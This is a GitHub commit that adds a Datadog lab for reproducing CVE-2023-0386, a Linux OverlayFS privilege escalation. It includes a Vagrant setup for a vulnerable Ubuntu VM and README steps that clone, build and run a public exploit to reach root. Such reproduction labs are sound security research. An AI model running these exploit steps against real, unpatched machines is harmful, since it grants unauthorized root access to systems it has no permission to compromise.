Skip to content

Commit

Permalink
Add CVE-2023-0386 reproduction
Browse files Browse the repository at this point in the history
  • Loading branch information
christophetd committed May 10, 2023
1 parent 275d8fe commit 2c73398
Show file tree
Hide file tree
Showing 5 changed files with 66 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.vagrant
45 changes: 45 additions & 0 deletions proof-of-concept-exploits/overlayfs-cve-2023-0386/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# CVE-2023-0386

This folder contains a virtual machine and instructions to reproduce [CVE-2023-0386](https://nvd.nist.gov/vuln/detail/CVE-2023-0386), a vulnerability in the Linux kernel’s OverlayFS subsystem that allows an unprivileged user to escalate their privileges to root.

## How to reproduce

* Start the virtual machine (based on Ubuntu 22.04.1, kernel 5.15.0-57-generic):

```
vagrant up
```

* SSH to the machine as an unprivileged user:

```
vagrant ssh --command "sudo su john -c 'cd; bash'"
```

```bash
john@ubuntu-jammy:~$ id
uid=1002(john) gid=1002(john) groups=1002(john)
```

* Clone and compile the [proof of concept repository](https://github.com/xkaneiki/CVE-2023-0386/)

```
git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386
git checkout c4c65cefca1365c807c397e953d048506f3de195
make all
```

* Run the following commands to exploit the vulnerability and escalate to root:

```
./fuse ./ovlcap/lower ./gc >/dev/null 2>&1 &
./exp
```

![](./screenshot.png)

## Credits

Proof-of-concept: https://github.com/xkaneiki/CVE-2023-0386/
Reproduction for Datadog: Ryan Simon
11 changes: 11 additions & 0 deletions proof-of-concept-exploits/overlayfs-cve-2023-0386/Vagrantfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
Vagrant.configure("2") do |config|
config.vm.box="ubuntu-22.04-vulnerable"
config.vm.box_url = "https://cloud-images.ubuntu.com/releases/22.04/release-20230107/ubuntu-22.04-server-cloudimg-amd64-vagrant.box"
config.vm.box_download_checksum = "f37c8dbda2d712ffb6242b7b9d88058298caf3a860ae29620de1cd4d02b59a9a"
config.vm.box_download_checksum_type = "sha256"

# Disable the default synced folder
config.vm.synced_folder '.', '/vagrant', disabled: true

config.vm.provision "shell", path: "provision.sh"
end
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/bash

# Pre-requisites
sudo apt update
sudo apt-get install -y make gcc libfuse-dev libcap-dev


# Underprivileged user
sudo useradd john --create-home --shell /bin/bash
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 2c73398

Please sign in to comment.